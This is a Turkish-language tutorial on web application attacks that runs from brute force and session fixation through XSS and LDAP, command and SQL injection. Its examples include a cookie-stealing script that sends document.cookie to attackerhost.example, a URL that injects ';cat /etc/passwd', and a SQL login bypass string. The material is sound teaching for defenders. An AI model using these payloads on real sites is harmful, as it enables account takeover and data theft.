Gerçekte iki çeşit kaba kuvvet saldırısı mevcuttur, normal kaba kuvvet ve ters kaba kuvvet. Normal kaba kuvvet saldırısı, bir tek kullanıcı ismini birçok parola için kullanır. Ters kaba kuvvet saldırısı ise birçok kullanıcı ismini bir parola için kullanır. Milyonlarca kullanıcı hesabına sahip sistemlerde, birden çok kullanıcının aynı parolaya sahip olması olasılığı çarpıcı bir şekilde artmaktadır.
Kaba kuvvet saldırı teknikleri çok popüler olup çoğunlukla başarılı olurlar fakat bu saldırılar saatler, haftalar veya yıllar gerektirebilir.
Örneğin, Ali Avcı adındaki bir kullanıcı için;
Kullanıcı İsmi = Ali
Parolalar = avcı, ali-avcı, [hayvan isimleri], [doğum tarihleri], [araba isimleri],
Kullanıcı isimleri = Ali, Esra, Deniz, Serkan, Bahadır.....
Parola = 12345678
bu şekilde kullanım tamamen yanlış ve tehlikelidir.
b - Yetersiz Kimlik Doğrulama
Yetersiz kimlik doğrulama, bir web sitesinin saldırgana uygun bir kimlik doğrulama gerçekleştirmeden hassas içeriğe ya da fonksiyonlara erişim izni vermesiyle gerçekleşir.
Web tabanlı yönetim araçları hassas fonksiyonlara erişim sağlayan web sitelerine iyi birer örnektir. Kaynağına göre web uygulamalarına kullanıcıların tam olarak kimlikleri onaylanmadan direk olarak erişilmemelidir.
Bir kaynak saldırgan tarafından bilinmiyorsa bile belirli bir URL adresi ile bu kaynağa erişilebilir. URL adresi, yaygın kullanılan dosya ve dizin konumlarında (örneğin /admin), hata mesajlarında, kayıtlarda veya yardım dosyalarında kaba kuvvet yöntemiyle araştırılarak bulunabilir. Sözü edilen bu kaynaklar eğer içerik veya fonksiyonel olarak gerekli ise uygun bir şekilde korunmalıdır.
Örneğin;
Birçok web uygulaması, ana dizin dışında (/admin) başka dizinlere kurulmuştur ve
bazı yönetici fonksiyonlarına göre tasarlanmıştır. Bu dizinden web sitenin herhangi bir yerine hiç bir zaman link kurulmamıştır fakat söz konusu dizine standart bir web tarayıcısı ile erişmek hala mümkündür. Uygulamayı geliştiren kişi, web sayfasına herhangi bir link oluşturulmadığı ve herhangi bir kullanıcının da bu web sitesini görmesini beklemediği için söz konusu sayfaya kimlik doğrulama fonksiyonu eklemeyi çoğu zaman gözden kaçırmaktadır. Eğer saldırgan basit bir şekilde bu web sayfasını ziyaret edecek olursa, web sitesine tüm yönetici yetkileri ile erişme yetkisi kazanacaktır.
c - Zayıf Parola Kurtarma Denetimi
Zayıf parola kurtarma denetimi, bir web sitesinin saldırganın illegal olarak bir başkasının parolasını ele geçirmesine, değiştirmesine veya kurtarmasına izin verdiği durumdur.
Geleneksel web sitesi kimlik doğrulama metotları kullanıcıların bir parola ya da anahtar parolası (güvenlik kodu) seçmelerini ve bu bilgileri hatırlamalarını gerektirir. Söz konusu parolayı sadece sahibi olan kullanıcı bilmelidir.
Zaman geçtikçe kullanıcının parolayı hatırlayabilmesi zorlaşır. Normal bir kullanıcı parola gerektiren 20 web sitesi ziyaret ediyorsa hatırlama sorunu daha da artar. Bu sebepten dolayı, parola kurtarma fonksiyonu sistemlerin önemli bir parçasıdır. Otomatik parola geri elde etme işlemleri, kullanıcının kayıt olma işleminde belirlediği gizli soruya cevap vermeyi gerektirmektedir. Bu soru verilen soru listesinden seçilir ya da kullanıcı tarafından belirlenir. Kullanılan başka bir mekanizma ise kullanıcının parolayı hatırlaması için kayıt olma işlemi sırasında belirlenen bir yardım bilgisini kullanıcıya sunmasıdır. Diğer
mekanizmalar, kullanıcının kimliğini doğrulamak için sosyal güvenlik numarası, ev adresi, zip kodu v.b gibi kişisel bilgilerin girilmesini gerektirmektedir.
Kullanıcının kim olduğunu kanıtlamasından sonra sistem yeni parolayı kullanıcıya gösterir ya da e-posta yolu ile gönderir. Saldırgan parola kurtarma mekanizmasını yanıltabiliyorsa, web sitesi zayıf bir parola kurtarma mekanizmasına sahip demektir. Parolayı kurtarma işlemi sırasında kullanıcının kimliğini onaylamak için gereken bilgi tahmin edilebiliyorsa veya bu bilgi isteme işlemi atlatılabiliyorsa bu durum oluşur. Parola geri kurtarma sistemleri kaba kuvvet saldırıları, sistem açıklıkları ve kolay tahmin edilebilir gizli sorular kullanılarak istismar edilir.
Örneğin;
(Zayıf parola geri elde etme metotları)
• Bilgi Onaylama
Birçok web sitesi, kullanıcılardan sadece e-posta adresi, ev adresi ve telefon numarası bilgilerini isterler. Bu bilgiler birçok çevrimiçi beyaz sayfalardan elde edilebilir. Sonuç olarak onaylama bilgisi çok gizli değildir. Ayrıca söz konusu bilgiler XSS ve balık tutma saldırıları gibi diğer metotlarla da elde edilebilir.
• Parola İmaları
Kullanıcıya parola hatırlatmak için parola ipuçları kullanan web siteleri ipuçlarının kaba kuvvet saldırılarını kolaylaştırabilmesi sebebiyle rahatlıkla saldırılara maruz kalabilir. Kullanıcı iyi bir parola olan "122277King" ve parola ipucu olan "bday+fav author" kullanabilir. Bu durumda saldırgan parola ipucundan kullanıcının parolasının kullanıcının doğum günü ve favori yazarının birleşimi olduğunu çıkarabilir. Elde edilen bu bilgi, sözlük kaba kuvvet saldırısının parolayı tahmin etmede başarılı olma ihtimalini çok büyük miktarda artırır.
• Gizli Soru ve Cevap
Kullanıcının parolası “Richmond” ve gizli soru da “Nerede doğdunuz” sorusu olabilir. Saldırgan kaba kuvvet saldırısını şehir isimlerine yoğunlaştırır. Bunun yanında saldırgan hedef kullanıcı hakkında az bir bilgi biliyorsa doğum yerini öğrenme kolay bir iş haline gelir.
Yetkilendirme
Bir web sitesinin kullanıcı, servis veya uygulamanın istenen bir işlemi gerçekleştirmesi için gereken izinleri belirlemekte ve kullandığı metotları hedef alan saldırıları kapsamaktadır. Örnek olarak, birçok web sitesi belirli kullanıcıların belirli içeriğe ve fonksiyonlara erişimine izni vermelidir. Diğer zamanlarda kullanıcının diğer kaynaklara erişimi kısıtlanmalıdır. Saldırgan, web sitesinin korunan alanlarındaki haklarını değişik saldırı teknikleri yardımıyla artırarak sisteme girmeye çalışacaktır. Yetkilendirme kendi içerisinde sınıflandırılırsa;
a - Oturum Bilgisi Tahmin Etme
Web sitesi kullanıcısının rolüne girme veya söz konusu kullanıcının oturumunun ele geçirilmesi metodudur. Belirli bir oturumun veya kullanıcının tanınmasını ve diğerlerinden ayırt edilmesini sağlayan bir bilginin elde edilmesi ya da tahmin edilmesi söz konusu saldırıyı başarılı kılar. Oturumun ele geçirilmesi olarak da bilinen metodun kullanılmasıyla saldırganlar istismar edilen kullanıcının hakları ile web sitesine istek gönderebilirler.
Birçok web sitesi, iletişimin kurulmasından sonra kullanıcının kimliğinin doğrulanmasını sağlamak ve takibini yapmak için tasarlanmıştır. Bunu gerçekleştirmek için kullanıcılar kendi kimliklerini kullanıcı ismi ve parola bilgilerini girerek onaylatırlar. Bu gizli yetki bilgilerinin her işlemde web sitesine gidip gelmesi yerine web siteleri tek bir oturum numarası üreterek kullanıcı oturumunun kimliğinin doğrulandığını takip eder. Web sitesi ile kullanıcı arasındaki sonraki iletişimlere, üretilen bu oturum numarası eklenerek oturumun kimliğinin doğrulandığına dair kanıt oluşturulur.
Örneğin;
Birçok web sitesi tescilli algoritmalar kullanarak oturum numarası üretirler. Bu geleneksel metodolojiler statik sayıları artırarak oturum numarası oluşturabilirler veya zaman ve diğer bilgisayara özel değişkenler kullanarak daha karmaşık prosedürler kullanılabilirler.
Oturum numarası bir çerez, gizli form alanı veya URL içerisinde depolanabilir. Eğer saldırgan oturum numarası üreten algoritmayı belirleyebilirse, aşağıdaki şekillerdeki gibi saldırılar oluşturulabilir:
• Saldırgan web uygulamasına bağlanarak hali hazırdaki oturum numarasını elde eder,
• Saldırgan bir sonraki oturum numarasını direk hesaplar ya da kaba kuvvet saldırısı ile tespit eder,
• Saldırgan hali hazırdaki değeri (çerezdeki, gizli form alanındaki veya URL"deki) değiştirerek bir sonraki kullanıcının kimliğini ele geçirir.
b - Yetersiz Yetkilendirme
Web sitesinin daha geniş erişim kontrol kısıtlamaları gereken hassas bilgi içeriğine ya da fonksiyonlarına erişime izin vermesidir. Kullanıcının bir web sitesine erişim hakkı kazanması, sitenin tüm içeriğine veya fonksiyonlarına erişmesine izin verildiği anlamına gelmez.
Bir kullanıcının, servisleri veya uygulamaları kullanmasına izin verilmesi işlemlerini belirleyen yetkilendirme prosedürleri kimlik doğrulama işleminden sonra belirlenir. İyi belirlenmiş kısıtlamalar mevcut politikaya göre web sitesinin aktivitelerini yönetmelidir. Web sitesinin yönetimle alakalı kritik bölgeleri ancak sistem yöneticileri tarafından erişime açık olmalıdır.
Örneğin,
Geçmişte, birçok web sitesi, yönetici işlemleri ile ilgili içeriği ve/veya yönetici fonksiyonlarını ‘/admin’ veya ‘/logs’ gibi gizli dizinler içinde depolamaktaydı. Eğer saldırgan bu dizinlere direk olarak erişim talebinde bulunursa, erişime izin veriliyordu. Böylece saldırgan web sunucusunu yeniden konfigüre etme, hassas bilgiye erişme ve web sitesini istismar etme imkanına sahip oluyordu.
c - Yetersiz Oturum Sonlandırma
Web sitesinin saldırgana yetkilendirme için kullanılan eski oturum kimlik bilgisini veya bilgilerini tekrar kullanma imkanı vermesidir. Yeterli oturum sonlandırma işleminin yapılmaması, belirli saldırılarının başarı şansını artırabilir. Örneğin, saldırgan bir oturum bilgisini muhtemel bir ağ dinleyicisi ya da XSS saldırısı ile elde edebilir.
Başka bir saldırı senaryosunda, paylaşımlı bir bilgisayardan (kütüphane, internet kafe veya herkese açık iş ortamlarında bulunan bilgisayarlar gibi) herhangi bir web sitesine giriş yapılarak yetersiz oturum sonlandırma, saldırganın web tarayıcıdan geri düğmesine basarak daha önce kurban tarafından girilmiş web sitelerine erişmesine neden olur.
Örneğin;
Paylaşılan bilgisayar ortamlarında, yetersiz oturum sonlandırma bir başkasının web aktivitelerini gözlemleme amacıyla istismar edilebilir. Kurbanın oturum bilgisi sonlandırılmadığında, saldırgan kurbanın oturumunu sisteme herhangi bir kimlik doğrulama bilgisi sunmadan gözlemleyebilir.
d - Oturum Belirleme
Kullanıcıyı belirgin bir değerdeki oturum bilgisi kullanmaya zorlayan saldırı tekniğidir. Hedef web sitesinin sağladığı fonksiyonlara göre değişen birçok saldırı tekniği oturum bilgisini belirli bir değere sabitlemek amacıyla kullanılabilir. Bu teknikler, XSS’den web sitesine önceden yapılan HTTP erişimlerinden elde edilen oturum bilgilerine kadar değişen tekniklerdir.
Bir kullanıcının oturum bilgisi belirlendikten sonra, saldırgan kullanıcının sisteme giriş yapmasını bekler. Kullanıcı girişi yaptıktan sonra, saldırgan kurbanın sistem tarafından oluşturulan kimliğini ele geçirmek için önceden belirlenmiş oturum bilgisini kullanır.
İki çeşit oturum yönetim sistemi mevcuttur. Birincisi, “her şeye açık” sistemler ki bu sistemler web tarayıcılarının herhangi bir oturum bilgisi değeri belirlemesine izin verirler. İkinci çeşit sistemler sadece sunucu tarafından oluşturulan değerlere izin veren daha katı kurallı sistemlerdir. “Her şeye açık” sistemlerde rastgele değerdeki bir oturum bilgisi web sitesiyle temas kurulmadan belirlenir.
Katı kurallı sistemler, saldırganın web sitesi ile periyodik olarak kontağa geçerek ve aktivitesiz geçen süre sonunda iletişimi sonlandıran mekanizmadan korunarak oturumu devamlı izlemesini gerektirir.
Örneğin;
Oturum belirleme saldırısı üç adımda gerçekleşir:
1. Oturum oluşturma
Saldırgan hedef web sitesine izlenen bir oturum açar ve bir oturum bilgisi elde eder veya saldırgan kullanmak için rastgele bir oturum bilgisi seçer. Bazı durumlarda, izlenen oturumun bilgisinin web sunucusu tarafında geçerliliğini koruması için web sitesiyle tekrarlanan bir bağlantının kurulması gerekir.
2. Oturum belirleme
Saldırgan tespit ettiği oturum bilgisini kullanıcının web tarayıcısına gönderir ve böylelikle kullanıcının oturum numarasını kendi bildiği bir değere sabitlemiş olur.
3. Oturum Girişi
Saldırgan kullanıcının hedef web sitesine girmesini bekler. Kullanıcı web sitesine girdiğinde sabitlenen oturum numarasını kullanır ve saldırgan oturumu kendi üzerine alır.
Oturum bilgisinin sabitlenmesi aşağıdaki tekniklerle gerçekleştirilebilir:
1. Yeni oturum bilgisinin kullanıcı bazlı betik kullanılarak dağıtılması. İlgili alandaki herhangi bir web sitesinde mevcut bulunan XSS açıklığı çerez değerini değiştirmede kullanılabilir.
Kod Parçacığı
http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>.idc
2. META etiketi kullanarak çerez dağıtma
Bu metot bir önceki metoda benzemektedir, fakat XSS için alınan önlemlerin Meta etiketlerinin değil de HTML betik etiketlerinin sisteme sokulmasını önlediği zamanlarda da etkilidir.
Kod Parçacığı
http://example/<meta%20http-equiv=Set-Cookie%20content="sessionid=1234;%20domain=.example.dom">.idc
3. HTTP cevap başlığı ile çerez dağıtma
Saldırgan aynı alandaki hedef web sitesinin veya başka bir sitenin çerezini dağıtmasını zorlar. Bu birçok yolla gerçekleştirilebilir:
• Aynı alandaki bir web sunucunun kırılması (mesela iyi yönetilemeyen WAP sunucusu)
• Kullanıcının DNS sunucusunun zehirlenerek saldırganın web sitesinin alana dahil edilmesi
• Alanda kötü niyetli bir web sunucusu kurma (Örneğin windows 2000 etki alanındaki bir bilgisayara, bütün bilgisayarlar DNS alanındadır)
• HTTP cevap bölme saldırısının kullanılması
Not: Uzun zamanlı oturum belirleme saldırısı, oturumun bilgisayar tekrar açıldığında bile sabit kalmasını sağlayan kalıcı çerezler kullanılarak gerçekleştirilebilir.
Kod Parçacığı:
http://example/<script>document.cookie="sessionid=1234;%20Expires=Friday,%201-Jan2010%2000:00:00%20GMT";</script>.idc
İstemci Taraflı Saldırılar
İstemci taraflı saldırı bölümü bir web sitesi kullanıcılarının istismar edilmesi üzerine odaklanır. Saldırgan web sitesini ziyaret ettiğinde, kullanıcı ile web sitesi arasında teknolojik ve psikolojik bir güven kurulur. Saldırgan, kullanıcıyı istismar etmek için bir çok teknik kullanarak bu güven ilişkileri ile ilgili beklentileri kendi amacı için kullanır.
a - İçerik Sahteciliği
İçerik sahteciliği, kullanıcıya bir web sitesindeki belirli içeriğin meşru olduğuna ve bu içeriğin harici bir kaynağa ait olmadığına inandırılmasını sağlayan bir saldırı tekniğidir.
Dinamik olarak üretilen HTML içerikleri sunan web sayfaları vardır.
Örneğin, çerçeve kaynağının yeri (<frame src = “http://foo.example/file.html”>)
URL parametre değeri ile belirlenebilir.
(http://foo.example/page?frame_src=http://foo.example/file.html)
Saldırgan “frame_src” parametresinin değerini “frame_src=http://attacker.example/spoof.html” değeri ile değiştirebilir.
Sonuç web sayfası servis edildiğinde, web tarayıcısının adres kısmında kullanıcının beklediği alana ait adres bulunur ama yabancı veri (attacker.example) normal içerikle örtülmüştür.
Özel olarak değiştirilmiş linkler, e-posta, anında mesajlar, duyuru panoları mesajları veya XSS saldırısı yollarıyla kullanıcıya gönderilir. Eğer saldırgan kendisi tarafından belirlenmiş kötü içerikli URL adresini kullanıcının ziyaret etmesini sağlarsa, kullanıcı doğru içeriğe ulaşmadığı halde ulaştığına inanır.
Kullanıcılar sahte içeriğe güvenirler çünkü tarayıcının adres kısmında “http://foo.example” adresinin yazılı olduğunu görürler oysa sayfasının HTML çerçevesinin referansı “http://attacker.example”dır.
Bu saldırı kullanıcı ile web sitesi arasındaki güveni istismar eder. Bu teknik giriş formları, tahrif edilmiş içerik ve yanlış yayın sürüm bilgileri v.b içeren sahte web siteleri oluşturmak için kullanılır.
Örneğin; sahte basın yayını oluşturma.
Bir web sitesinin basın web sayfaları için dinamik olarak oluşturulan HTML çerçeveleri kullandığını düşünelim. Kullanıcı aşağıdaki gibi bir bağı ziyaret edecek olsun: (http://foo.example/pr?pg=http://foo.example/pr/01012003.html)
Sonuç web sayfası şu şekilde olur.
Kod Parçacığı:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
Yukarıdaki örnekte yer alan “pr” web uygulaması, HTML sayfasını statik bir menüden
ve dinamik olarak “FRAME SRC” kaynağından oluşturmuştur. “pr_content” frame’i kaynağını istenen basın yayın içeriğini göstermek için URL adresinden “pg” parametresi değişkeni olarak alır. Fakat saldırgan normal URL adresini http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html?
adresine çevirir ve “pg” değeri web sunucu tarafından kontrol edilmez ise sonuç HTML sayfası şu şekilde oluşur:
Kod Parçacığı:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
Son kullanıcı, “attacker.example” sahte içeriğinin meşru ve doğru bir kaynaktan geliyormuş olduğunu düşünür.
b - Siteler Arası Betik Yazma - XSS Saldırıları
XSS saldırıları, web sitesinin saldırgan tarafından belirlenen çalıştırılabilir kodu normal bir kullanıcıya göndermesi ve bu kodun kullanıcı web tarayıcısında yüklenerek çalışmasıyla gerçekleşen bir saldırı çeşitidir.
Genel olarak HTML/Javascript olarak yazılır ama VBScript, ActiveX, Java, Flash veya tarayıcı tarafından desteklenen başka teknolojilere de çevrilebilir. XSS saldırısına maruz kalan kullanıcının hesabı çalınır (çerezin ele geçmesi), kullanıcının web tarayıcısı başka bir adrese yönlendirilir veya ziyaret edilen web sitenin sunduğu hileli içerik kullanıcıya gösterilir.
Kalıcı ve kalıcı olmayan olmak üzere iki çeşit XSS saldırısı mevcuttur.
Örnek
1. Kalıcı saldırı
Birçok web sitesi kayıtlı kullanıcıların mesaj yollayabildiği ilan panoları sunarlar. Kayıtlı kullanıcı, ilan göndermek için kendisine yetki veren çerez kullanılarak takip edilir. Eğer saldırgan özel olarak oluşturulmuş JavaScript kod içeren mesaj gönderirse, bu mesajı okuyan kullanıcının çerezleri ve hesabı istismar edilebilir.
Çerez Çalma Kod Parçacığı
<SCRIPT>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</SCRIPT>
2. Kalıcı Olmayan Saldırı
Birçok web portalı web sitesinin kişiselleştirilmiş bir şeklini sunar ve siteye giren kullanıcıları “<İsminiz> Hoş Geldiniz” gibi bir ifade ile karşılar.
Bazen giriş yapan kullanıcıyı belirleyen veri, URL"nin soru kelimesinde depolanır ve monitörde gösterilir.
Portal URL Örneği
http://portal.example/index.php?sessionid=12312312&username=Joe
Yukarıdaki örnekte kullanıcı isminin (“Joe”) URL’de yer aldığı görülmektedir. Oluşan web sayfasında “Joe, Hoş Geldin” mesajı görüntülenmektedir. Eğer saldırgan, kullanıcı ismi alanını çerez çalabilen bir JavaScript kodu yardımıyla değiştirebilirse, kullanıcı hesabının kontrolünü ele geçirme imkanına sahip olabilir.
URL kodlamasıyla kodlanmış çerez çalma URL örneği:
http://portal.example/index.php?ses...in/cookiesteal.cgi?'+document.cookie</script>
Çerez çalma URL örneğinin çözümlenmiş hali:
http://portal.example/index.php?sessionid=12312312&username=<script>document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie</script>
Komut Çalıştırılarak Gerçekleştirilen Saldırılar
Uzaktan çalışan komutlarla yapılan saldırılardır. Bütün web siteleri talepleri karşılamak için kullanıcı girdilerinden faydalanır. Çoğu zaman bu kullanıcı girdileri dinamik web sitesi içeriği hazırlamada kullanılan komutların oluşturulmasında kullanılır. Eğer bu işlem güvenli bir şekilde yapılmazsa, saldırgan komut çalıştırma işlemini değiştirebilir.
a - Ara Bellek Taşması - Buffer Overflow
Buffer overflow saldırıları, hafızanın bazı bölümlerinin üzerine yazarak uygulamanın akışını değiştiren saldırılardır. Hata ile sonuçlanan genel bir yazılım kusurudur. Bu hata durumu, ayrılan yerden daha çok veri hafızada bir yere yazıldığında oluşur. Bellek taştığında, komşu hafıza bölgelerinin üzerine yazılarak hatalara veya çökmelere neden olunur. Bellek taşmasının, hafızayı bozması yazılımın çökmesi ile sonuçlanır ve bu şekilde hizmet dışı saldırısı olarak kullanılabilir. Bellek taşması açıklıkları, yığın işaretçilerinin üzerine yazmak suretiyle programı yeniden yönlendirmek ve zararlı kodlar çalıştırmak için
kullanılmaktadır. Bellek taşması program değişkenlerini değiştirmek için de kullanılmaktadır. Buffer Overflow açıklıkları genellikle C ve C++ gibi programlama dillerinde meydana gelir. Bir CGI programında veya bir C programına ulaşan bir web sayfasında meydana gelebilir.
b - Dizgi Formatı Saldırısı
Dizgi formatı saldırıları dizgi biçimlendirme kütüphanesinin özelliklerini kullanarak diğer hafıza bölümlerine ulaşır ve bu şekilde uygulamanın akışını değiştirir. Açıklıklar, istemci taraflı verilerin bazı C/C++ fonksiyonlarında doğrudan kullanılması sonucu olşur. (örn. fprintf, printf, sprintf, setproctitle, syslog, ...)
Eğer bir saldırgan, web uygulamasına parametre olarak printf değiştirme karakterlerinden oluşan bir dizgi formatı verirse, şunlara sebep olabilir:
• sunucudaki rastgele herhangi bir kodun çalıştırılmasına,
• yığından değer okunup atılmasına
• kesimleme hatalarına (segmentation fault)/ yazılımın çökmesine
Örnek
Farzedelim ki bir web uygulaması, kullanıcı tarafından belirlenen bir email Address parametresine sahip. Bu uygulama bu değişkenin değerini printf fonksiyonunu kullanarak yazdırsın:
printf(emailAddress);
Eğer emailAddress ile gönderilen parametre, biçim karakterlerini içeriyorsa, printf bu karakterleri tanır, ve fazladan verilen argümanları kullanır. Eğer böyle argümanlar bulunmazsa, veri yığından, printf fonksiyonunun beklediği sırada uygun olarak alınır ve kullanılır.
Dizgi formatı saldırılarının bu şekildeki durumlarda olası kullanımları şöyle olabilir:
1. Yığından veri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%x” değiştirme karakterini (bir veya daha fazla kez) yollayarak yığındaki değerleri okuyabilir.
2. Hafızada işleme ayrılan bölümden karakter dizileri okumak: Eğer printf fonksiyonunun çıktı akışı saldırgana geri sunuluyorsa, saldırgan, “%s” değiştirme
karakterini kullanarak rastgele hafıza bölgelerindeki karakter dizilerini okuyabilir.
3. Hafızada işleme ayrılan bölümdeki yerlere tamsayı yazmak: “%n” değiştirme
karakterini kullanarak, bir saldırgan, hafızadaki herhangi bir bölgeye bir sayı değeri yazabilir. (Örn. programın erişim ayrıcalıklarını kontrol eden değerlerin veya fonksiyonların dönüş adreslerinin üzerine yazmak, vb. gibi.)
c- LDAP Enjeksiyonu
Lightweight Directory Access Protocol (LDAP) X.500 dizin servislerini düzenlemeye ve sorgulamaya yarayan açık standartlı bir protokoldür. LDAP enjeksiyonu kullanıcı girdilerinden LDAP cümleleri oluşturan web sitelerini sömürmeye yarayan bir saldırı tekniğidir. LDAP protokolü TCP gibi internet taşıma protokollerinin üzerinde çalışır. Web uygulamları, dinamik web taleplerini karşılamak için, kullanıcı girdileri ile oluşturulan LDAP cümleleri kurar ve kullanır.
Aynı gelişmiş sömürü teknikleri SQL enjeksiyonu için de geçerlidir ve LDAP enjeksiyonuna benzer bir şekilde uygulanabilir.
Örnek
Yorumlarla Açıklığı Bulunan Kod:
Satır 0: <html>
Satır 1: <body>
Satır 2: <%@ Language=VBScript %>
Satır 3: <%
Satır 4: Dim userName
Satır 5: Dim filter
Satır 6: Dim ldapObj
Satır 7:
Satır 8: Const LDAP_SERVER = "ldap.example"
Satır 9:
Satır 10: userName = Request.QueryString("user")
Satır 11:
Satır 12: if( userName = "" ) then
Satır 13: Response.Write("<b>Geçersiz talep. Lütfen geçerli bir kullanıcı ismi ve
parolası giriniz</b><br>")
Satır 14: Response.End()
Satır 15: end if
Satır 16:
Satır 17:
Satır 18: filter = "(uid=" + CStr(userName) + ")" " kullanıcı girdisini arıyor
Satır 19:
Satır 20:
Satır 21: "LDAP objesini oluşturuyor ve temel dn’i tanımlıyor
Satır 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
Satır 23: ldapObj.ServerName = LDAP_SERVER
Satır 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
Satır 25:
Satır 26: "arama filtresini tanımlıyor
Satır 27: ldapObj.SearchFilter = filter
Satır 28:
Satır 29: ldapObj.Search
Satır 30:
Satır 31: "Kullanıcı bilgisini gösteriyor
Satır 32: While ldapObj.NextResult = 1
Satır 33: Response.Write("<p>")
Satır 34:
Satır 35: Response.Write("<b><u>User information for : " +ldapObj.AttrValue(0) + "</u></b><br>")
Satır 36: For i = 0 To ldapObj.AttrCount -1
Satır 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b> : " + ldapObj.AttrValue(i) + "<br>" )
Satır 38: Next
Satır 39: Response.Write("</p>")
Satır 40: Wend
Satır 41: %>
Satır 42: </body>
Satır 43: </html>
Koda baktığımızda, 10. satırda userName değişkeninin user parametresiyle
başlatıldığını ve ardından hızla boş olup olmadığının kontrol edildiğini görüyoruz. Eğer değer boş değilse, userName 18. satırda filter değişkenine ilk değeri atanıyor. Bu yeni değişken ise 27. satırda SearchFilter’a yapılan çağrıda kullanılan LDAP sorgusunu oluşturmak için doğrudan kullanılıyor. Bu senaryoda, saldırgan LDAP sunucusu üzerindeki sorguda mutlak kontrole sahip, ve sorgusunun sonuçlarını 32. ve 40. satırlar arasında, bütün sonuçlar ve özellikleri kullanıcıya tekrar gösterildiğinde alacaktır.
Saldırı Örneği
http://example/ldapsearch.asp?user=*
Yukarıdaki örnekte, user parametresi olarak * karakterini gönderiyoruz, ve sonuç olarak koddaki filter değişkenine * ilk değeri atanıyor (uid=*). Sonuçlanan LDAP cümlesi sunucuya uid özelliği bulunan her objeyi döndürmesini sağlayacaktır.
d - İşletim Sistemi Yönetme
İşletim Sistemi Yönetme, uygulama girdilerinin düzenlenmesi yoluyla işletim sistemi komutlarını çalıştırma ve bu şekilde web sitelerini sömürme tekniğidir. Web uygulaması kullanıcı-kaynaklı girdileri uygulama kodunda kullanmadan önce düzgün bir biçimde denetlemediği takdirde, uygulamayı işletim sisteminin komutlarını çalıştıracak biçimde kandırmak mümkün olabilir. Çalıştırılan komutlar çalıştıran kısmın haklarıyla çalışırlar. (örn. Veritabanı sunucusu, Web uygulaması sunucusu, Web sunucusu, etc.)
Örnek
Perl, dosya isminin arkasına ‘|’(aktarım karakteri) eklemek suretiyle, bir işten bir open cümlesine veri aktarımına izin verir.
Aktarım Karakteri(|) Örnekleri:
# “/bin/ls” ’i çalıştırma ve çıktıyı open cümlesine aktarma:
open(FILE, “/bin/ls|”)
Web uygulamaları, çoğu zaman, görüntülenen veya şablon olarak kullanılan bir dosyayı belirten parametreler içerir. Eğer web uygulaması kullanıcının sağladığı girdileri düzgün bir biçimde denetlemezse, saldırgan parametre değerini kabuk komutu ve akabinde aktarım sembolü olacak biçimde değiştirebilir (yukarıda gösterildiği gibi).
Web uygulamasının orjinal URL’si:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt ise;
şablon parametresinin değerini değiştirerek, saldırgan web uygulamasını /bin/ls komutunu çalıştıracak şekilde kandırabilir.
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
Birçok betik dili, değişik exec fonksiyonlarını kullanarak, programcıya yürütme esnasında işletim şistemi komutları çalıştırma izni verir. Eğer bir web uygulaması kullanıcı kaynaklı girdinin denetlenmeden böyle bir fonksiyon çağrısının içerisinde kullanılmasına izin verirse, saldırganın uzaktan işletim sistemi komutları çalıştırması mümkün hale gelir.
Örneğin, aşağıdaki PHP betiğinin parçası, sistem klasörünün içeriğini gösterir
(Unix sistemlerinin):
exec("ls -la $dir",$lines,$rc);
Kabuk komutunun, sonuna noktalı virgül ( ve işletim sistemi komutu ekleyerek alışırsa, web uygulması ikinci komutu çalıştırmaya zorlanabilir:
http://example/directory.php?dir=;cat /etc/passwd
Sonuç /etc/passwd dosyasının içeriğini döndürecektir.
e - SQL Enjeksiyonu
SQL enjeksiyonu, kullanıcı kaynaklı girdilerden SQL cümleleri oluşturan web sitelerini sömürmek için kullanılan bir saldırı tekniğidir.
Structured Query Language (SQL) veritabanlarına sorgu yapmak üzerine özelleşmiş bir programlama dilidir. Birçok küçük ve endüstriyel güçteki veritabanı uygulamalarına SQL cümleleri aracılığıyla ulaşılabilir. SQL hem ANSI hem de ISO standardıdır.
Eğer bir web uygulaması, kullanıcı kaynaklı girdiyi düzgün bir biçimde denetlemezse, bir saldırgan arka taraftaki SQL cümlesi oluşumunu değiştirebilir.
Saldırgan SQL cümlesini değiştirdiğinde, işlem komutu çalıştıran öğenin haklarıyla çalışacaktır. (örn. veritabanı sunucusu, web uygulaması, web sunucusu, vb.) Bu saldırının sonucu olarak saldırgan, veritabanının tamamının kontrolünü eline geçirebildiği gibi, sistem üzerinde de komutlar çalıştırabilir.
LDAP enjeksiyonu için geçerli olan gelişmiş sömürme teknikleri benzer bir biçimde SQL enjeksiyonunda da uygulanabilir.
Örnek
Bir web tabanlı kimlik doğrulama formu şöyle bir koda sahip olabilir:
SQLQuery = "SELECT Username FROM Users WHERE Username = "" & strUsername & "" AND Password = "" & strPassword & """ strAuthCheck = GetQueryResult(SQLQuery)
Bu kodda, geliştirici kullanıcı girdisini formdan alıp doğrudan SQL sorgusunun içine gömüyor.
Farzedelim ki, saldırgan şöyle bir kullanıcı adı ve parola giriyor:
Login: " OR ""="
Password: " OR ""="
Bu, sonuçlanan SQL sorgusunun şöyle olmasına sebep olur:
SELECT Username FROM Users WHERE Username = "" OR ""="" AND Password = "" OR ""=""
Kullanıcılar tablosundaki bilgilerle kullanıcının girdiği bilgileri karşılaştırmak yerine, sorgu "" ile "" karakterlerini karşılaştırıyor. Bu karşılaştırmada doğru sonuç dönecek ve saldırgan kullanıcılar listesindeki ilk kullanıcı olarak sisteme girecektir.
Genel olarak bilinen iki SQL enjeksiyon metodu bulunmaktadır:
Normal SQL enjeksiyonu ve Kör SQL Enjeksiyonu.
